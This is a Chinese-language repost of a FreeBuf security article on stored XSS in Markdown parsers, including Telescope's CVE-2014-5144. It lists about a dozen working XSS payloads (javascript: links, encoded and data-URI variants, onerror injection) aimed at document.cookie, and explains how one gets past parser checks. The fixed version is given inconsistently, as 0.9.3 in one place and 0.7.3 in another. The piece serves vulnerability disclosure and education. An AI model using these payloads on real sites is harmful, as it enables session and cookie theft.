漏洞分析:一个Markdown解析器的持久型XSS漏洞(CVE-2014-5144)


发布人:admin分类:网络安全浏览量:22发布时间:2017-12-12

FreeBuf科普:什么是Markdown?

Markdown是一种轻量级的标记语言,流行程度已经得到了GitHub和Stack Overflow的广泛支持,作为普通人我们也可以轻松上手。

用markdown来写文章非常赞,那些琐碎的HTML标签都可以抛到脑后不用管。最近5年内,markdown收到非常多的关注,包括Reddit,Github,StackOverflow在内的很多应用都使用 markdown这也催生了很多的markdown解析器的产生,这里定义了一些markdown语法,语法约定markdown解析器将这些标签解析为html标签。

Markdown安全现状

Markdow解析器的安全现状如何?有没有对用户输入的数据做过滤?

事实上,很多markdown解析器都没有过滤用户输入的数据,那么如果markdown被用于添加用户评论等功能的时候,就有可能存在安全风险。

这里有一些关于这个问题的讨论:[1], [2], [3].

另外,如果用googe搜索一下:

markdown xss issue site:github.com

你就会发现github上又很多星级很高的项目都被发现存在XSS 漏洞。

所以,如何构造一些payload呢?看下面这些:

[a](javascript:prompt(document.cookie))
[a](j    a   v   a   s   c   r   i   p   t:prompt(document.cookie))
![a](javascript:prompt(document.cookie))\
<javascript:prompt(document.cookie)> 
<&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>  
![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
[a](&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29)
![a&#039;"`onerror=prompt(document.cookie)](x)\
[citelol]: (javascript:prompt(document.cookie))
[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[test](javascript://%0d%0aprompt(1))
[test](javascript://%0d%0aprompt(1);com)

上面这些payload是由Aleksa和原文作者一起搞出来的。在过去的12个月内,在实际渗透测试中证明,上面的这些 payload 是有效的。并且很多 markdown 解析器都受到影响。来看一下最后一个payload:

[test](javascript://%0d%0aprompt(1);com)

我们猜测,markdown 解析器可能通过如下几个步骤来进行解析&转换:

1、判断时候有协议头?//有javascript 伪协议,Y
2、hostname 是以常见的域名后缀(com, org)结尾的?//是的,以 com 结尾 Y
3、将上述 payload 转换为 HTML 标签,//结果如下

<a href="javascript://%0d%0aprompt(1);com>test</a>

成功构造了一个XSS payload!当点击了上述链接后,就会触发XSS!

Telescope解析器一个持久性 XSS 漏洞(CVE-2014-5144)

Telescope是一个有名的开源项目,类似Reddit和Hackernews一样,提供一个社区功能。Telescope的一个解析帖子&评论的功能存在 XSS 漏洞,并且这个功能存在很久了!

在0.9.3之前的版本中,以上面的 payload 列表中的 payload 发帖或者发表评论,就可以导致一个XSS漏洞。该漏洞已经修复,Telescope在这里发了changelog:http://www.telesc.pe/blog/telescope-v093-dailyscope/

下面是漏洞对应的payload:

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

注意:上述漏洞已经在Telescope >= 0.7.3版本中修复了。

如果你发现了新的payload ,可以在这里提交给我们。

[参考来源shubh.am,转载请注明来自Freebuf黑客与极客(FreeBuf.COM)]


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21406297(PV) 页面执行时间:58.982(MS)
  • xml
  • 网站地图